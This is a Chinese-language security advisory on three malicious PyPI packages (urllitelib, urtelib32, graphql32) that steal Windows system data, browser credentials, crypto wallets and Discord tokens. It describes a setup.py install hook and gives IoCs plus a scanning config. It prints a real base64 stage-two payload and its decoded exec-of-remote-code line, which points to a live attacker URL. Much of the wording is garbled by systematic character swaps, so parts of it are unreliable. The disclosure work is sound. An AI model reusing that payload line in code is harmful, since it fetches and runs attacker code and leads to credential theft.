概述
悬镜平安自研的开源组件投毒检测平台通过对支流开源软件仓库(包含 Pypi、NPM、Ruby 等)公布的组件包进行持续性监控和自动化代码平安剖析,同时联合专家平安教训复审,可能及时发现组件包投毒事件并精确定位恶意代码片段,捕捉潜在的供应链投毒攻击行为。
上周咱们在 Python 官网仓库(Pypi)中发现多起新的歹意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32 三个 python 歹意包由同一个攻击者在 9 月 10~11 号之间上传投放到 Pypi 仓库,在此期间攻击者间断迭代公布多个版本,这三个歹意包的代码和攻击行为具备极高类似度,其次要攻击行为是窃取受害者 PC 操作系统中的敏感数据(包含零碎根底信息、零碎截屏、支流浏览器的明码 cookie、区块链钱包以及 Discord 账户数据等),截至目前这些歹意 Py 包在官网仓库上已被下载近 2000 次(具体数据如下所示)。
(https://www.pepy.tech/projects/urllitelib)
目前这些投毒包已从官网仓库中下架,经悬镜供应链平安实验室确认,国内各大支流 Pypi 镜像源仍缓存这些歹意投毒包,对于应用国内镜像源的宽广开发者来说仍旧面临潜在的平安危险。悬镜平安揭示国内开发者们自行排查是否装置或援用以下 Python 歹意组件包。
投毒窃密剖析
从 09 月 10 日开始,悬镜平安的开源组件投毒检测零碎监测到投毒者(benjaminrodriguezshhh@proton.me)继续向官网 Pypi 仓库中投放 urllitelib、urtelib32、graphql32 等多个版本的歹意 Py 包,这些歹意包命中了检测引擎的平安危险规定,通过进一步对歹意包样本的人工剖析后,确认这是一起有针对性的投毒攻打事件,投毒者的攻打对象是 Windows 操作系统用户,其次要攻击行为是窃取 Windows 操作系统、支流浏览器、社交软件以及区块链钱包软件的敏感数据。
投毒攻打流程
当 Python 开发者应用 pip install 从 Pypi 官网仓库或上游镜像源间接装置或者依赖援用歹意组件包时,将主动触发执行歹意安装包 setup.py 中的第一阶段攻打代码,第一阶段攻打代码将从近程服务器下载第二、三阶段的攻打载荷,通过解码后,第三阶段攻打载荷将成为最终的投毒攻打代码。投毒包攻打流如下图所示:
歹意样本剖析
以 urllitelib(1.2.0 版本) 为例:攻击者在组件包 setup.py 中设置自定义 command 类 CustomInstall,当开发者执行 pip install urllitelib 装置组件包时将触发 CustomInstall.run() 函数中的第一阶段攻打代码(如下图所示)。
近程下载攻打载荷
第一阶段的攻打代码首先将内置的恶意代码写入 config.py 文件后,进一步尝试应用管理员权限执行 config.py,config.py 将通过 HTTP Auth 认证的 GET 申请从近程服务器下载执行伪装成图片(http://wpp-api-01hw.onrender.com/api/images/11408844816711885…)的第二阶段攻打 Payload,第二阶段 Payload 应用 base64 进行简略编码:
ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ
base64 解码后,第二阶段攻打 Payload 实在内容如下:
b"exec(requests.get('http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth':'&&CD&&ON'}).json()['code'])"
第三阶段的攻打 Payload 同样是通过 HTTP Auth 认证的 GET 申请从 http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/ 下载后,再进行一轮 base64 解码,投毒包最终的攻打载荷如下所示:
通过剖析投毒包近程载荷代码可显著发现其次要攻打逻辑蕴含有零碎运行环境反调试、获取操作系统根本信息、窃取浏览器用户数据(明码,cookie,浏览记录等)、获取支流应用软件用户 token、盗取区块链钱包敏感数据以及开机自启动等歹意行为。
反调试 & 虚拟机反抗
如下图所示,恶意代码具备比拟根底的反调试和虚拟机反抗能力。恶意代码在执行数据窃密操作前,如果检测到零碎中存在代码逆向、过程调试、过程监控、网络流量剖析以及虚拟机服务等相干过程后会尝试杀死这些过程。此外,当检测到以后操作系统的主机名、网络 IP、MAC 地址如果命中内置的黑名单后,会删除本身代码,规避检测。
获取零碎敏感信息
恶意代码除了获取操作系统设施 ID、主机名、用户名、网络 IP、MAC 等根底信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。
窃取浏览器用户数据
恶意代码还会尝试遍历支流浏览器的用户数据目录,窃取浏览器中存储的用户明码、cookie、信用卡、历史浏览记录等敏感数据。
盗取区块链钱包账户数据
恶意代码会遍历支流数字货币钱包(例如 Exodus、Atomic Wallet. 等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。
盗取 Discord 及支流浏览器 token
此外,恶意代码还会搜寻支流浏览器和 Discord 的用户数据目录,尝试从 leveldb、sqlite3 等本地数据库中挖掘出合乎特定正则表达式的用户 token 数据。
IoC 数据
此次投毒组件包波及的歹意文件和歹意链接 IoC 数据如下所示:
总结
截止目前,投毒攻击者所应用的恶意代码载荷 URL 仍然无效,尽管相干的投毒组件包曾经从官网仓库 Pypi 高低架,但其仍然存活于国内各大 Pypi 镜像源中,因而对于国内宽广开发者来说仍需提供平安防备意识,除了自行排查现有 Py 安装包外,倡议尽量应用官网 Pypi 仓库源。
排查形式
应用 OpenSCA-cli,将以下内容保留为 db.json 文件,间接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可疾速获知您的我的项目是否受到投毒包影响。
[
{
"product": "urllitelib",
"version": "[1.0.0, 1.2.0]",
"language": "python",
"id": "XMIRROR-2023-70549",
"description": "歹意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包含零碎根底信息、零碎截屏、支流浏览器的明码 cookie、区块链钱包以及 Discord 账户数据等)。",
"release_date": "2023-09-18"
},
{
"product": "urtelib32",
"version": "[1.7.2, 1.8.1]",
"language": "python",
"id": "XMIRROR-2023-70550",
"description": "歹意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包含零碎根底信息、零碎截屏、支流浏览器的明码 cookie、区块链钱包以及 Discord 账户数据等)。",
"release_date": "2023-09-18"
},
{
"product": "graphql32",
"version": "[1.7.2, 1.8.4]",
"language": "python",
"id": "XMIRROR-2023-70551",
"description": "歹意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包含零碎根底信息、零碎截屏、支流浏览器的明码 cookie、区块链钱包以及 Discord 账户数据等)。",
"release_date": "2023-09-18"
}
]
悬镜平安也将继续监测和开掘未知的开源组件平安危险,并及时对供应链投毒事件进行剖析披露。